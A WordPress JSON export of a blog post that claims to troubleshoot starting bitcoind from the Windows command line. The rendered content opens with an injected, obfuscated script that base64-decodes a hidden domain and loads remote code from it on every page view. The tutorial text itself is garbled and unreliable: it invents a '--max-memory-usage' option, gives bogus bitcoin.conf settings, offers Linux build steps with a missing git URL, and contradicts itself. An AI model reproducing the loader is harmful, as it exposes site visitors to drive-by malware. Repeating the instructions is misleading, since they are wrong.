{"id":397,"date":"2025-02-03T04:22:54","date_gmt":"2025-02-03T04:22:54","guid":{"rendered":"https:\/\/hccmena.com\/?p=397"},"modified":"2025-02-03T04:22:54","modified_gmt":"2025-02-03T04:22:54","slug":"ethereum-how-to-open-bitcoind-daemon-using-command-line-in-windows","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/03\/ethereum-how-to-open-bitcoind-daemon-using-command-line-in-windows\/","title":{"rendered":"Ethereum: How to open bitcoind -daemon using command line in Windows?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=0f6c637e\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Opening Bitcoin Daemon on Windows via Command Prompt: Troubleshooting<\/strong><\/p>\n<p>As a user who has successfully created the &#8220;bitcoin.conf&#8221; file on your local machine, you probably want to start the Bitcoin daemon (also known as Bitcoind) via the command line. However, there seems to be some issues with the process, causing your system to become unresponsive and hang.<\/p>\n<p><strong>Subject:<\/strong><\/p>\n<p>When you run the Bitcoind executable from the Windows command prompt, nothing happens and your system becomes unresponsive. The error message may look like this:<\/p>\n<p><pre><code><\/p><p>Unknown option --max-memory-usage<\/p><p>Error: -max-memory-usage not found.<\/p><p><\/code><\/pre>\n<\/p>\n<p>This indicates that Bitcoind does not recognize the &#8220;&#8211;max-memory-usage&#8221; option, indicating a possible problem with your configuration or environment variables.<\/p>\n<p><strong>Step-by-step solution:<\/strong><\/p>\n<p>To resolve this issue, follow these steps:<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/MLmVsx1noHM\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>1. Update and Upgrade Bitcoind<\/p>\n<p>First, make sure that you have the latest version of Bitcoind installed on your system. You can check for updates using the following command:<\/p>\n<p><pre><code><\/p><p>bitcoin-cli -- version<\/p><p><\/code><\/pre>\n<\/p>\n<p>If there are any updates available, install them accordingly.<\/p>\n<p><pre><code><\/p><p>git clone  && cd bitcoin<\/p><p><br><h1><\/h1>Update configuration file<\/p><p>.\/configure --with-openssl=\/usr\/bin\/openssl<\/p><p>make -j $(nproc)<\/p><p>make install<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>2. Create a &#8220;bitcoin.conf&#8221; file<\/p>\n<p>Since you have already created a bitcoin.conf file, continue editing it with a text editor (e.g. Notepad++) and make sure the following settings are included:<\/p>\n<p><pre><code><\/p><p>[server]<\/p><p>server = 127.0.0.1:8332<\/p><p><\/code><\/pre>\n<\/p>\n<p>This will connect to the local Bitcoin node.<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>3. Set Bitcoind Environment Variables<\/p>\n<p>Create a new file called &#8220;bitcoin.conf&#8221; with the following content:<\/p>\n<p><pre><code><\/p><p>[conf]<\/p><p>max_memory_usage = 512M<\/p><p><\/code><\/pre>\n<\/p>\n<p>Add this line to the end of the existing bitcoin.conf file, making sure it follows the same path: `C:\\Users\\NAME\\AppData\\Roaming\\Bitcoin\\bitcoin.conf&#8217;.<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>4. Restart Bitcoind<\/p>\n<p>Restart the Bitcoin daemon to apply the changes:<\/p>\n<p><pre><code><\/p><p>bitcoind --config=C:\\Users\\NAME\\AppData\\Roaming\\Bitcoin\\bitcoin.conf --max-memory-usage=512M<\/p><p><\/code><\/pre>\n<\/p>\n<p>This should successfully start Bitcoind with the updated configuration.<\/p>\n<p><strong>More troubleshooting:<\/strong><\/p>\n<p>If you continue to experience issues after completing these steps, consider the following:<\/p>\n<ul>\n<li>Make sure your system&#8217;s page file size is large enough to handle Bitcoin&#8217;s increased memory requirements.<\/li>\n<\/ul>\n<ul>\n<li>Try specifying a different node URL or port (e.g. bitcoin.conf file instead of 127.0.0.1:8332) to test the connection.<\/li>\n<\/ul>\n<ul>\n<li>If you are using a remote node, make sure your VPN settings are configured correctly.<\/li>\n<\/ul>\n<p><strong>Conclusion:<\/strong><\/p>\n<p>By following these steps and troubleshooting any issues you may have, you should be able to successfully launch Bitcoind from the command line on Windows. Remember to update Bitcoind regularly and consider exploring additional options to optimize performance if needed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Opening Bitcoin Daemon on Windows via Command Prompt: Troubleshooting As a user who has successfully created the &#8220;bitcoin.conf&#8221; file on your local machine, you probably want to start the Bitcoin daemon (also known as Bitcoind) via the command line. However, there seems to be some issues with the process, causing your system to become unresponsive [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/397"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=397"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/397\/revisions"}],"predecessor-version":[{"id":398,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/397\/revisions\/398"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}